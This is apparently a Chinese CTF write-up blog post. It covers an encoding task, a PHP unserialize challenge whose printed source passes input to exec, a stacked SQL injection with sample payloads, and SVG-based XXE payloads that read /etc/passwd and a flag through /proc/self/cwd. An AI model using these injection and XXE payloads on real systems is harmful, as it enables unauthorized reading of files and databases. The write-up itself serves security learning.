我听说是萌新向才来的……

这 web 题顶的一批,wp 都看不懂了……

参考文章:


1.签到:

base64 => base32 => base16 => base58

2.白给的序列化:

简单的代码审计

index.php

<?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

if ($_GET['path']) {
    $path = @$_GET['path'];
    unserialize($path);
} else {
    highlight_file(__FILE__);

}
?>

主要调用点在 __destruct() 里,通过 call_user_func_array() 回调函数实现对自定义函数 mysys() 的调用

虽然有 __wakeup()waf() 但是也没必要用那个洞绕过,而且适用版本好像也不对

所以最后直接传入生成的内容就可以,没什么技巧

直接解码

3.sqli-labs 0:

简单的堆叠注入,但是有个 url 二次编码问题,一开始没想到,后来放了 hint 才意识到这个事

(二次编码内容略过)

先判断闭合,?id=1' and '1' = '1'#,回显正常

?id=1" and '1' = '1'# 再测一下回显错误

可以确定单引号闭合,再测试发现可以堆叠

直接 show tables 查表:


(这个 uzi 出现的猝不及防)


查列 show columns from uziuzi

直接和上次一样 handler 操作

3.svgggggg!(emmm……其他原因没复现出来)

盲打 XXE + SSRF

[BsidesSF_CTF 2019] 里有一道 svg 的题目,直接打的 xxe,这次的这个相比较而言难度更大一点,这次复现学到了

关于 SVG 文件:

SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。严格来说应该是一种开放标准的矢量图形语言,可让你设计激动人心的、高分辨率的Web图形页面。用户可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看。

摘自《百度百科:SVG格式》

既然是基于 XML,基本上可以确定是要打 XXE 了


先复现一下 BSidesSF 的 [SVGMagic]

先传一个测一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

有回显,直接尝试读 flag,但是不行,500 报错;可能是路径的问题,尝试 file:///proc/self/cmdline 读绝对路径,发现也 500 报错

后来又查了一些 linux /proc 下相关的目录(参考文章:Linux下/proc目录简介

既然查不了绝对路径,那就直接 /proc/self/cwd 链接到当前工作目录,再尝试读取 flag.txt,可以读到

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

再看这道题目:

上传自己服务器上的 .svg 后未收到回显,猜测为 XXE 盲打,BUU 上开了个靶机,因为一些原因没复现出来,后面再补上……

4.渗透域:

水平不够直接过,后面放源码再本地搞一下



0 条评论

发表评论

邮箱地址不会被公开。 必填项已用*标注